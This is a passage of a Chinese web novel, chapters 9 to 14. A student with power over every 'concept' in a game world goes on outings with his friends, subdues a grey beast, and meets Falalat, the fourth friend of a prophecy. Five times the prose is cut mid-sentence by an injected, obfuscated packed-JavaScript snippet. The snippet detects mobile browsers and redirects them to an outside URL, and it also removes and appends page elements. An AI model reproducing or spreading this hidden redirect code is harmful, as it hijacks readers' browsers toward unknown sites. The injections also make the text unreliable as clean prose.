这双手的主人似乎是在解开衣扣,布料间发出窸窸地摩擦声,接着如棉花般轻软的温暖笼罩了‘我’。 我大概能猜到现在的情形:‘我’在那个人怀里,被挤在绒衣间。 ‘我’闻见清淡的草木香——夹杂着轻微的泥土味和雨水的水汽。 这种草木香的拥有者抱着‘我’开始走动。 走出这滂泼大雨。 # 我解除了【共通】的概念。 我觉得我的脸有点发热。 当时我可以从猫的角度看见对方灰色的发丝,还有一点点深绿的瞳孔。 都不是很耀眼的颜色,但那一刻着实点亮了我的眼睛。 ‘嘛……’很久之后我和一位同伴说到这件事:‘知道什么叫做‘永久性记忆’吗?我觉得那一次我能记一辈子。’ 于是灰色发的友人因这句话笑了起来,深绿色的眼睛微弯成月牙的样子。 正如那一刻般闪闪发亮。 9. 第 9 章 第二天我们三人在约定好的位置见面。 哈耶达拎着大兜小兜,我猜里面是零食之类的东西。 “我要提前说好,不会有人帮你拎东西。”我无奈地说。 哈耶达一脸自信地拍着胸脯说自己没问题。 一般这样说的都会有问题。 果不其然,爬山爬到一半他就开始上气不接下气。 我和别特亚对视了一眼,刚想伸手分别接过一部分的包裹,哈耶达行走的速度却突然加快。 他用了【控制】的概念帮助他减轻压力。 如果是概念实用课的老师在这里,估计会为他精确的概念实用加上一学分。 我一边走一边向旁边看去,因为现在已经爬到了一个比较高的位置,从我的位置能看见缩小的城市。 我有了一个想法,于是我转头问他们:“有人晕飞机吗?” 这句话刚问完我就明白我说了一句废话——这个游戏里没有‘飞机’,只有类似于飞机的‘助飞器’。 他们疑惑地看向我时,我启用了【飞行】,手上各拎了一个人的衣领。 然后竖直而上。 越过阿吉栗树深秋时节金红色的树冠,也穿过半山腰的云层。 哈耶达的反应和上一次很像,但因为有了先例,语言输出稍微减少了一些;而别特亚只是刚开始发出了一声惊呼,在爬升的过程中很安静。 我觉得他们在欣赏过程中的景色。 当我终于到达山顶,‘啪’地把他们放在地上,我才明白不是这样。 因为别特亚踉踉跄跄的跑到一旁,抱着阿吉栗树的树干开始狂吐。 看来他晕机。 我这才意识到我做了一件很尴尬的事。 “真够突然的。”哈耶达揉了揉脖子,“还不错,我迟早也会学会【飞行】的概念。” 哈耶达在这方面好像对自己充满了自信。 他又理了一下衣领,尽力地保持着自己的形象,但其实没什么必要。 我启用了【秩序】的概念,帮他把衣服整理妥帖了,接着我走向面色苍白的别特亚,用【覆写】的概念抹消了【飞行】对他的负面影响。 “多谢。”别特亚的神色好多了,“你用了【飞行】和【覆写】?你涉猎了很丰富的知识,能力也非常出色,这方面你和传闻是一样的。” 我面不改色地接受了这样的称赞。 “我觉得在我们刚见面时,你就应该知道我很出色。”我说,这时我说了一句玩笑似的话,“我长着一张优秀人物的脸。” 哈耶达装腔作势地呕吐了一下:“你长了一张不好惹的脸。” 我当然知道自己长什么样子——五官锋利且俊秀,眼角上挑,是一张可以用‘轻佻’一词来描述的长相。 怎么看都不像是好学生。 但很帅,我很满意。 可以说现实世界里,我最满意的几乎就只有这张脸了。 “不管怎么样,已经到山顶了。”哈耶达拿出了拎了一路的零食包裹,“现在是野餐时间。” # 能让哈耶达拎一路的零食的确非常好吃,里面甚至有很难抢到的妙妙香香脆大礼包。 妙妙香香脆大多以土豆和干扁豆为原材料,那个香,那个脆,鲜香地能让人把舌头吞进去。 我们几个吃得抬不起头。 “我可以吃一百年的妙妙香香脆。”哈耶达嚼着一条香辣脆扁豆,一脸向往地说。 我很认同。 我接着扒拉着零食包裹,从里面翻出了几瓶深红色的饮品。 “泡泡酒。”哈耶达选了一瓶,“这个是无气泡版的经典口味之一,制作过程中加了肉桂、丁香和香橙,有点而类似于热红酒。我觉得很适合现在的天气喝,它会让人暖洋洋的。” 我和别特亚接过瓶子,入手就是有些偏烫的温度。 “用了【保持】。”别特亚辨认出了上面附着的概念,“是【控制】的衍生概念。” 哈耶达有些自得地哼了一下。 我看着他们,不自觉地就喝了小半瓶。 的确十分好喝。 酒液从喉咙滑到胃里,把全身暖的热烘烘的。我甚至感觉哈一口气,从嘴里会溢出甜滋滋的果香和肉桂的味道。 我们的脸颊被香甜的热气熏红,捧着杯子坐在山顶看远方。 周围很安静,哈耶达也没有和我们吵闹,现在这情景甚至可以称一声是‘岁月静好’。 我还没有反应过来我立了一个flag,这个flag就倒了。 远处传来人的惊叫声。 我一扭头,我的好友们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176516|165200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就已经麻利地冲上前去。 他们就是这样的人。 我启用了【视野】的概念。 一个背着背包的人正在躲避一个丑不兮兮的东西的撕咬,地面上已经有了好几个人的残肢,画面血淋淋的。 我有点儿想吐。 那个东西不但很丑,而且黏糊糊的,身上淌着黑色的液体,和尸体的血液混合在一起,把地面弄得乱七八糟。 但可能是因为游戏的保护机制,我只能看见一大团模糊的马赛克,尽力才能辨认清楚眼前的事物。 我启用了【控制】和【飞行】的概念,飞快地到达位置后,把已经被怪物咬进半个头的可怜人扯出来,又加大了【控制】的力度,‘啪’地一声把怪物压在地上。 死里逃生的背包者已经被吓晕过去了。 哈耶达和别特亚这时也赶到了混乱处,他们被血腥的画面刺激地干呕了一下。 “是灰兽。”别特亚盯着面前不断挣扎的怪物,“你为什么不杀死它?它很危险,如果它挣脱了你的控制,我们都会死。” “不会。”我斩钉截铁地回答,“你们好歹对我有点信心吧,说不定这对于学院来讲会是一份很棒的研究样本。” 我对付它轻而易举,甚至可以说是如同呼吸一样简单。 “嘛……”我用【控制】把它打晕,“看,它对于我来讲就像是蚂蚁,用不着担心。” 哈耶达脸色不佳地嗤笑一声。 意外解决了,但空气中弥漫着一股浓重的铁锈味。 原本我们欣赏着阿吉栗树金红的盛景,而现在我们面对着遍地血红的死亡。 我知道我们的旅行要中止了。 “灰兽为什么会在这里出现?”哈耶达冷不丁地提出了这个问题,“这里离灰界有一段距离。” “它的身体有小部分的液化,”别特亚看了这只灰兽很久,下了结论,“是新形成的。” “不管怎么说,”我想了想,“我们应该通知学院。” 这些事情用不到我们来管。 我们拨打了老师的平板联络,学院告诉我们会立刻派人来处理。 等学院的人员来到这里,接手了我控制的灰兽,并让我们离开现场——带着我们的零食。 总之, 我们的旅行中止了。 10. 第 10 章 我们一回去就是考试成绩颁布的时候,接下来还有实践互动的报名日,繁忙的很,因此我们几乎把旅行中发生的事忘了个干净。 可能其他学生这几天已经开始考虑补考了,但我们三人完全不慌。 我的成绩自然不用说,概念实践课等实践课程是稳当当的第一名,而经过长时间的学习,即使是我不熟悉的理论课我也能够名列前茅。 这是一定的,毕竟在游戏中我是‘神’的概念。 而我的好友们,他们都属于提前写完作业、完成任务的类型,更别提因为前段时间的矛盾,原本学习上稍微落后的哈耶达憋着一股劲和既定的学霸别特亚争得不分上下。 原本我们是不会有看成绩的动力的,但这回又不太一样,考试之前我们三人来了一个考试比拼。 成绩最落后的那个要完成前两人的一个较为合理的要求。 我清楚哈耶达是出于争一口气,而别特亚则是单纯地乐在参与。 放成绩的那几个小时我们三个早就守在榜单旁边,身边还围了一群看热闹的学生。 因为我们几个都是学校里有一定知名度的人,这次比拼正好提供了其他学生一个吃瓜的机会。 我可是知道论坛里早就开好了名次投票。 在放榜的一瞬间,我听见了无数人深呼吸的声音。 我的确还是第一名。 我对这个成绩微笑了一下,满意了,接着向后看去。 耳边传来哈耶达快要憋不住的笑声。 别特亚比哈耶达低了一分。 哈耶达假装关怀地拍了拍好友的肩膀。 成绩既然已经出了,那么要完成要求的人自然也出现了。 哈耶达不怀好意地笑着,我无奈的看了看他,和同样无奈的别特亚对视了一眼。 我刚想说话,就感觉有人站在了我的身后。 我回过头,我的好友们也回头——西卜耳老师严肃的注视着我们。 我开始思考我有哪里犯了错,在得出没有的结论前,西卜耳老师开口: “你们三个,现在有时间吗?” # 老师告诉我们,根据贝西纳灰兽事件中我们的帮助,分别获得了学分的奖励。 我获得的最多,有二十学分,而别特亚和哈耶达各获得十学分。 不管怎么说,这是一件让人愉快的事。 但在离开前老师单独叫住了我,对我说我的学分足够,可以升上二阶。 我愣了愣。 “所以你已经拥有一百学分?”哈耶达在听完我的叙述后惊讶起来,“除了考试成绩优异,还有课堂优异表现会有教师主观加分外,其他加分的方法很少……很多人甚至在第一年结束时都攒不够这么多。” “你会升阶吗?”别特亚显然更关注另一个问题,“如果你升到二阶,你就会去参加二阶的课程。” 然后我就不会再和他们一起上课了。 我明白了这一点。 “你应该升阶,这是好事。”哈耶达果断地说,“我们很快就会追上去,别特亚只剩十二学分,不过我需要努努力。” 哈耶达曾因为时不时地翻墙和迟到行为被扣了不少的分,很明显,现在他感到后悔。 “的确是这样。”别特亚说,“你可以学到更多的概念。” 我决定升阶。 但原因与他们说的不太相同。 二阶的课程对我来讲没有什么用,因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176517|165200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为我可以支配所有概念,所以我要做的只有提升自己对概念的掌控熟练度。 我只是单纯地想要听到别人用惊讶的语气谈论我升阶这件事:或是赞叹的,或是不屑的,反正这件事总能带给学生们很大的反响。 这让我感觉自己无比的重要。 事实上的确如我所愿,学生的讨论持续了很长一段时间。 直到哈耶达叫住我,轻声告诉我另一件事。 “另一个人在你升阶不久,也升上了二阶。”他郑重地告诉我。 哈耶达在说这句话时巧妙地用了一个比较。 我不认为那个人会比我厉害,但不可否认我的确对这个人提起了兴趣。 哈耶达叹了口气。 “法尔拉特。”他说,“他叫法尔拉特,听见这个名字你还没有想到什么吗?” 他是别特亚预言中的第四人。 # 当我用这样的话描述他时,哈耶达的表情看起来很一言难尽。 他肯定觉得这样说很中二。 别特亚的预言就已经足够中二——羁绊,四人,永远的朋友……已经把所有的少年漫关键词列满了。 “反正我早晚会与他接触。”我说,“我对预言还是半信半疑,因此我会自己评判。” 下一天上课时,在灰色发的少年人在我旁边落座时,我就推翻了自己的话。 我认识他,即便他不认识我。 灰色的头发,深绿的瞳色,混杂着泥土味的草木香…… 我仿佛回到了湿润的雨水中,不过这次对方坐在我身旁,而不是带着我走出大雨。 这一切把我冲击地头脑发蒙。 我想:现在我完全相信预言了。 11. 第 11 章 我在雨天遇见的那个人正好是预言中我的第四个好友。 这一切巧的像是命中注定。 我不相信命中注定。 但它就这样的发生了,还大摇大摆地在我面前说:发生了又怎么着? 我的确没办法怎么着。 所以我决定接受命运,和我的第四位好友携手走向完美的友人关系。 等哈耶达再认识法尔拉特时,他会惊讶无比地发现我在这段友谊中完成了领跑。 想法很好,但实际上我是个行动上的矮子。 这具体体现在目前为止我的朋友没有一个是我自己主动接触的——哈耶达除外,和他接触是因为他嘴欠。 所以即使我预定的第四位好友就坐在我旁边,我却完全不敢说话。 我用余光瞥了一眼,发现对方正注视着桌面,面色严肃地像是在审阅军队。 他的确在审阅‘军队’。 我启用了【视野】,看到十几只蚂蚁排着长队从人为搭建的障碍物中越过,雄赳赳气昂昂地行‘军’。 我被这个场面震惊到了。 然后蚂蚁军队在我的视线下拐了一个大弯,一层层地爬上书,在书封上排列起来。 [法尔拉特用了【控制】的概念。]告示栏在我向法尔拉特看去时窜出来。 告示栏已经有好久没有出现了,突然看见我居然还蛮怀念的。 我当然能看出来法尔拉特用了【控制】——毕竟没有哪家蚂蚁会在没有食物的情况下还这么乖巧……要转弯转弯,要爬山爬山,甚至能在桌面上排列字母式方阵。 这就能看出他对【控制】有很精准的把控,比哈耶达的【控制】还要巧妙。 他察觉到我的视线,但看了我一眼,又平静地低头看他的蚂蚁军队。 仿佛完全把我当成空气。 一上午就这样过去了。 我不敢相信我看了一上午的蚂蚁军队。 [很有创造力不是吗?]告示栏发了一个微笑的表情,[他甚至会让蚂蚁叠叠乐。] 我一边敷衍地应着,一边想到了我的猫猫总动员——这里指我和哈耶达带着几十只猫猫在学院绕圈的事情。 上午是蚂蚁大军时间,那么现在是猫猫总动员的时间了。 我的兴致来得很快也很猛烈,在下课后的短时间里我就召集了一大批猫猫。 接受召集的猫猫有很多,大多都尽力地往我身边挤。哪只猫的爪子不小心踩到了另外一只,哪一只猫又不小心抓到了另一只猫的胡须……一时间猫猫队伍里响起了此起彼伏的叫声。 如果我启用【翻译】的概念,我就能够知道它们在说什么。 我一点都不为此心动。 因为我猜无非就是:‘啊,你这只臭猫故意踩我的脚。’还有‘碰到我了,讨厌。’这样的话。 我会这样猜当然是因为我曾经开启过【翻译】——在第一次猫猫总动员成立时。 再那之后我就再也不对表面乖巧,内心也乖巧的小动物抱有期待了 “好。”我拍了拍手,“现在你们叫做二代猫猫总动员。” 因为这一批猫猫中包括一些一代猫猫的猫子猫孙,所以只能称为二代,简称猫二代。 猫二代们正竖着尾巴听我讲话。 “我们今天的任务是:围着大礼堂表演猫猫巡游。”我对面前的这群猫说,“步姿要端正优雅,粗鲁猫不予参与。” 我感觉在我说完这句话的一瞬间有好几只猫在龇牙咧嘴。 我记住它们了,通通扣掉小鱼干。 领头猫听到‘端正优雅’这个词,开始骄傲地展示自己优美的身姿,轻盈的步伐,在我身边转了一圈,神气地向我‘喵’了一声。 我猜它说的可能是:‘愚蠢的人类快向我献上小鱼干吧!’或者‘你看我美吗?’。 它的确有一身柔顺而绵软的皮毛,身姿优雅而高傲,可以称得上是猫中美猫。 但这又与我有什么关系呢?我是不会因此给它多加小鱼干的。 “如果多加小鱼干它们能跳舞吗?” “说不定可以,”我接上话头回答,“我也很好奇,不过如果要跳舞的话,首先应该让它们看着视频学习一下吧。” 我承认这是一个绝妙的主意,让我十分心动。 “你的主意很棒,”我向提出这个建议的人看去,“法尔拉特。” 灰色发的少年从拐角露出半个脑袋,歪了歪头。 # 我不久前召集猫咪时就已经感受到了身后的视线。 很显然我猜对了。 法尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176518|165200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉特听见我叫出他的名字,很干脆地从墙角处走出来。 “我喜欢猫。”他说,“但之前的巡游我看过,不够有趣。” 我很捧场地回应:“那要怎么才算有趣?” 他认真地思考了一下,重复了猫猫跳集体舞的想法。 于是我们一拍即合。 他从平板上挑出了一小段简单的舞蹈,放到了猫猫们的面前。 “学会。”灰发的少年人认真地对猫群说。 我看见几只猫猫不屑地打了个哈欠。 “学会。”法尔拉特重复,从身后取出了小鱼干礼盒。 这一家的小鱼干礼盒我认识,为了彰显高端上档次,礼盒是用特殊材料做的,不仅美观而且比现实中的不锈钢还要结实,他一掌劈下去,盒子分开两段。 平滑的横截面的中央是塞满的小鱼干。 好家伙。 我吞了一口口水,一时间猫猫们也同步地咽了一口口水。 他一下子把武力威胁和小鱼干诱惑都做到了。 真是一个了不得的人才。 事实证明法尔拉特的威胁和利诱很有效,当天晚上大礼堂就出现了猫猫舞会的盛景。 好消息是舞会效果很出彩,所有人看了个过瘾;坏消息是因为不规范使用概念和未经允许使用大礼堂,舞会被学管委带头抄了。 另一个好消息是——被抄的只有猫,我和法尔拉特顺利逃生。 第二天学院的论坛彻底炸开了。 哈耶达在吃饭时间气愤地向我抱怨:“我今天一大早就被老师叫了过去,还问昨天的事情是不是我做的。” 我保持了微妙的沉默。 我倒是没有想到这一点——因为猫猫舞会和猫猫巡游的过度相似性,在老师眼中有前科的哈耶达自然成为了首选嫌疑人。 他没有在意我的沉默,接着愤愤地往下说:“他不相信我的解释!关键真的不是我做的!怎么还有猫咪巡演的模仿犯?!” “虽然很有趣,但让我顶锅就太过分了。”哈耶达看起来气得不轻,脸色涨红,他一边怒骂着一边看向我,“嗯?你怎么不说话?” 我尴尬地向他微笑着。 他愤怒的神色僵硬了,然后逐渐转变为不可置信。 很显然他明白了。 12. 第 12 章 我和哈耶达因为这件事开始了冷战。 虽说是冷战,但冷战只持续了半天,因为晚上的餐后零食是妙妙香香脆,我以自己一部分妙妙香香脆为代价得到了哈耶达的谅解。 哈耶达一边‘咔咔’地嚼着脆芝士,一边开始和我交谈。 其实哈耶达本来就没想把这个事情持续下去,我明白他只是给自己找一个台阶,也是给我找一个台阶。 这样对我们两个都好。 时间很快地过去,别特亚在一个多月后升上了二阶。 再半个月,哈耶达升上了二阶。 为了庆祝我们三人组再次集合,我们打算履行之前考前的约定。 别特亚愿赌服输,听凭我俩处置。 “嘿嘿嘿。”哈耶达已经诡异地笑着翻了很久捉弄方法大全,久到我开始为别特亚默哀。 实际上提出的要求的确很难选择,毕竟别特亚几乎是全能型的人才,提出一般的要求是难不倒他的,而如果让他在同学面前或是老师面前做什么搞笑动作,以他的信誉,说不准到最后我俩会自寻苦果。 “你觉得别特亚做饭的手艺怎么样?”他很突然地问我,“既然说要求,那么命令他给我们做一顿饭自然是可以的吧。” 我没有想到哈耶达最后提出的会是一个这么温和的提议。 但这个提议很合适。 “你没有见过别特亚做饭吧?”哈耶达说,“你想想,说不定他做的很糟。” 然后我们被摆在面前色香味俱全的美食震撼到了。 我们是在晚上打烊前一个小时借了一家餐厅的厨房做的,而现在那家餐厅的厨师们站在我们旁边,对着别特亚面露崇拜。 甚至在我们打算离开前,餐厅老板还在流着泪请求别特亚担任主厨。 看之前老板哭得撕心裂肺的样子,我不知道他是怎么放过别特亚让我们离开的。 “你答应了?”我问他。 “当然没有。”别特亚将餐厅老板给他的钱塞进口袋里,温和地笑了笑,“只是提供了一份改良建议和几份菜谱。” 我和哈耶达肃然起敬。 # 如果说有什么是让人感到痛苦的,除了失去妙妙香香脆的享用资格,还有就是得知今天第一节课是实战课。 并不是因为该课的讲师阴阳怪气脾气古怪,或是没有真才实学上课通读课本,而是因为这个老师太尽职尽责,特别是在实战课上尽职尽责就变成了一种使学生不喜的严苛了。 正如课堂名称所表示,“实战课”,即战斗实践课,是需要学生付出汗水和大量艰苦努力的学科。 “在一阶是实战课必修课,但在二阶,也就是你们现在的品阶,这门课是选修课,会在升阶后第二次考试根据学生自身实力和综合评定。”这门课的讲师,科尔达娜在升阶后的第一次课堂就对我们严肃地说。 “我不会和有些老师一样,简简单单地就心怀仁慈手软给分。”面色严肃的女讲师看到一些学生不安的表情,“另外,如果是认为‘星星’很帅气,所以执意加入的人,我会敲碎他的脑子。” ‘星星’是先行者的最大管理机构,在灰界出现后由各国组织形成,其宗旨是‘保护国际安全,促进世界平稳发展。’ 在我看来,‘星星’的宗旨和原则都是很普通的套话,只有口号还比较有趣:‘让万千星星先行,为芸芸众生开道。’ 多帅,像是英雄人物的台词一样。 显然很多中二年纪的学生也这样觉得,因此他们不仅没有对科尔达娜讲师的话心生畏惧,反而双目放光、跃跃欲试起来。 科尔达娜讲师看到这副情景,就知道自己的话没有太大用处,于是叹了声气,开始了课堂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176519|165200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的确说到做到,完全没有留手。 “真够狠的。”下课后哈耶达龇牙咧嘴地往伤口上涂药,“我们才刚接触实战没多久,竟然就这样……” 别特亚少见地没有回话,而是咧咧嘴,抬手碰了碰嘴角的伤口。 他们身上的伤口还算少,好歹能够自己处理,但其他学生,放眼望去躺倒一片。 “但她在一阶的课堂上已经教授了基本的战斗方法,”我是唯一还算衣着整洁的人,“讲师也有下马威的意思吧。” “下马威哪儿有这样的的下法?”哈耶达仍在不愉地嘟囔着,“就不怕死人吗?而且虽然阿尔斯安联合学院是作为先行者最大的培养基地出名的,但也不是说所有人都想打打杀杀的吧……” 他闭上了嘴,因为他明白自己刚刚说了一句废话。 阿尔斯安联合学院是先行者培养基地不假,但同时也是各行各业优秀人才的培养地,除了先行者外,‘木原’也会从能够学院里引进人才。 这就是为什么实战课、概念深论课、战术课等会和实用课、哲思课、构建课等分别开来,在二阶二次考试后成为选修课。 而且因为【修复】这类概念的存在,只要到达医务室,日薪高昂的医生就会为你送上治疗三件套,包你如同全新出炉。 除了断头,断手断指算什么,只要伤口创面还未凝固、人还未断气,都能救得回来。 这是游戏里很好的一点。 “不过讲师的确没有留手。”我安慰哈耶达说, 然后我同时被哈耶达和别特亚怒目而视了。 别特亚神色复杂地看了看我整洁的衣着、一丝不乱的发型,与我对视了一眼。 我下意识向他露出我最完美的笑容。 “滚吧。”别特亚自暴自弃地说了脏话,“你最没有资格说这个。” 13. 第 13 章 “你居然会说脏话?!” 我还没开口,哈耶达就惊讶地凑过来。 好家伙,哈耶达,我的嘴替。 看来不只我一个人这样想。 别特亚的表情僵了一下,嘴唇动了动。 我发誓他刚刚又想骂人。 别特亚的眼神在几秒钟变了多次,最后他无奈地叹了口气。 “先不说这个,”他生硬地转换了话题,“对于‘星星’,你们怎么看?” “你想就这样蒙混过去?”哈耶达不愉的嘟囔着,但兴致的确开始转移,“‘星星’?我不觉地那有什么有趣的。” “可其他人不会这么想,”我说。 这个游戏里对于‘星星’的追捧很热烈,关于这个的影视作品和书籍层出不穷,还有很多的商标或公司的命名都与‘先行者’有关。 为了保护先行者的隐私和其他权益,‘星星’会将先行者们的档案封存,并且对舆论做规范化处理,绝对不容允有污蔑和诋毁先行者形象的言论。 这一点可以说是让我分外满意的。 总的来讲,先行者在游戏中的社会里相当于是一个高危高薪且受人尊敬的职业,他们与灰界所产生的一切不利于社会的因素斗争,用自己的生命去拼搏。 有很多先行者深入灰界,奉命探索未知,然后再也没有回来;也有很多先行者常年在临界处与流窜的灰兽拼搏,死守在临界,不让灰兽踏进城区一步。 “其实就是人数极少的、职业危险性强、工薪高昂的士兵……”我下了结论,“除了服务对象不是政府。”而是人类。 “这样说也没有错。”别特亚眨眨眼,“但我觉得应该和‘英雄’更相似吧,或者说是超人。” ‘超人’——这可真是一个有童心的说法。 “我知道这个!”哈耶达笑了起来,“《白鸟芬特》里面提到了超人,他是这部动漫里除了芬特外的招牌。” 他的眼睛发亮,于是我瞬间明白了我的小伙伴对这部动漫情有独钟。 “但我不会成为先行者。”哈耶达肯定地说,“我会回到我的国家,随便在那里干一些什么……什么都行。” “我倒是无所谓。”别特亚说,“我对实战课很感兴趣,但我不太想成为先行者,因为我是家里最大的那个,我需要照顾家人……我觉得我会优先考虑‘木原’。” (木原:几十年前从区域人民自卫组织扩张成的国际组织,宗旨为——为人民献身,为世界安定服务。) 他们的回答都很现实,但我不一样,我本来就在一个游戏中不是吗。 “我会成为先行者。”我说。 他们两个回头看我。 “有这个名字很帅气的原因,”我解释。 “也有……唔……如果我成为先行者,别人会赞美我吗?” “当然。”他们异口同声地回应。 “如果我成为先行者,所有人都会喜欢我吗?” “这个不一定。”哈耶达说,“但可能有很多人会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176520|165200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢你的,不过你确定要因为这个去成为先行者吗?” 他甚至完全没有质疑我是否有能力去成为,而是一步跨越到了我是否决定。 “非常确定!”我说。 我感觉已经看到了我被众人喜爱着的未来。 # 在这之后的不久,我们才对于‘星星’以及先行者的概念有了更深的了解。 这和我们之前的浅薄了解所不同,这次的了解是在血淋淋的现实中深入的。 我们直面了从任务中满身是血回来的同学。 他喘息着倒在大树根部,右手消失不见,灰白的发丝上沾满了血红。连呼吸都显得困难,呼气间仿佛带着血雾。 身后是向他挥舞利爪的灰兽。 这时我们从人满为患的街道走出来,经过长时间的车程,来到空空荡荡的郊野,打算来个野餐。 我们站在庞大的灰兽死尸面前,手上还拎着因【保持】仍热气腾腾的餐点。 面前是蒸腾的血液,是遍地黑色的黏液,是筋疲力尽的喘息,是令人作呕的臭气…… 当我看清满身是血的人的面孔,我瞬间炸了。 [您已启用【控制】的概念。] [您已启用【修复】的概念。] 我把挥舞着爪子的灰兽隔空打了出去,重重地甩在山崖下。 哈耶达和别特亚早在发现不对时就启用了【控制】,他们飞奔过来,去检查倒在地上人的情况。 面前的人是法尔拉特。 14. 第 14 章 法尔拉特动了动,尽力地睁开因血液而模糊不清的眼睛,用另一只手支起身体,靠在树干上。 “他需要急救。”哈耶达紧张地说。 “我觉得不用。”我回答,“你看他的动作,他在启用【修复】的概念。” 法尔拉特的确在启用【修复】的概念。 他身体上的伤口逐渐愈合,手臂的断面上开始长出肉芽,随着时间的延长,逐渐形成一只全新的手臂。 在伤势几乎全部愈合的一瞬间,他向我们的方向看来。 哈耶达和别特亚在他看过来的一瞬间吸了一口气。 我向法尔拉特的方向走去。 我敏锐地发现他的伤口又开始撕裂了,皮肉开始破碎,血液止不住地往下流。 看起来法尔拉特的【修复】并不是太精通,只是能简单地起到延缓的作用。 “他是谁?”哈耶达在我对法尔拉特启用【修复】时小声问我。 真够离奇的,哈耶达拥有最灵通的消息渠道,但他却不知道面前的人是谁。 我抬起头,与黑色卷发的少年人对视着。 我从仿佛深海一样的眼瞳中看见了不安,看见了犹豫,这些情绪埋藏在疑惑下面,如同岩浆般涌动着。 我这时候明白了。 哈耶达已经确认了面前人的身份,只不过他不太能接受对方以这样的姿态在我们的面前出现。 他能够接受和自己性格有很大不同的别特亚,能够和自己抱有偏见的我成为好友,但他从没想过和一个、一个会血淋淋地和灰兽打斗,类似于英雄一样的人物成为朋友。 他的这种心态我理解。这就类似于哈耶达能够轻松地打败同学,在考试中取得高分,但他无法轻易地说“我要去一个人打败怪兽”。 生活在学院中的人几乎都是这样的。 打斗、英雄、死亡……这些词汇对于他们而言很陌生。 我们从繁华的街区走来,我们携着满身烟火,热热闹闹,欢欢喜喜,而法尔拉特从战斗中归来,带着满身伤口躺倒在大树下。 我们中间仿佛隔着普通人和英雄那样的距离。 很遥远,也让人不敢相信。 这一瞬间,他们原本倚靠预言而生成的所有熟悉和幻想被击破了,一切完完全全地陌生化。 这时候在【修复】的作用下,法尔拉特的伤口完全愈合了。 法尔拉特面无表情地看着我,认出来了我,并缓慢地向我眨了眨眼。 “嘛。”我慢慢地把他挪到我的背上,“就是你想的那样。” # 我们的第二次出行又中止了。 我让同伴牵着我的衣角,很快飞回学院,把法尔拉特交给主任。 “所以这是怎么回事?”我看着法尔拉特被送进医务室,转身和主任对视:“能告诉我法尔拉特为什么会被分派灰兽的任务?他甚至还没有成年。” 主任反射性地一皱眉,刚想说些什么,这时他的身后传来一个老人的声音。 “孩子。”老人看看我,扭头对主任说,“你先离开,能让我来解释吗?” 这个老人明显拥有很高的地位,事实上也是这样,主任听了他的话马上离开了这里。 [他是厄尔,这一代的观测者。]告示栏上面浮现这样的话,[他有奥维莱斯罗盘的使用权。奥维莱斯罗盘是可以一个几乎完全准确的观测未来仪器,自一代观测者传承至今,为了保持未来的稳定,只能有一个人拥有它的使用权,并借此规范未来的方向,以此保障人类未来的平稳运行。] 我知道这个,哈耶达曾给我说过。 但对我更重要的是,他是法尔拉特的爷爷。 “穆曲,”蓄着白色胡须的老人微笑着叫我的名字,还有我同伴的名字,“哈耶达、别特亚,我知道你们都是很好的孩子,我在这里先谢谢你们对法尔拉特的关心。” 老人有着一双与正常老人相异的清明的眼睛,深邃透亮,像是一洼静潭。 他在以一个长辈的身份发言,对我们说话,然后退后一步,头低了下来。 哈耶达这时揪着我衣袖的手还没有放下,而是紧了紧。 他明白面前的人是谁了。 但对我更重要的是,他是法尔拉特的爷爷。 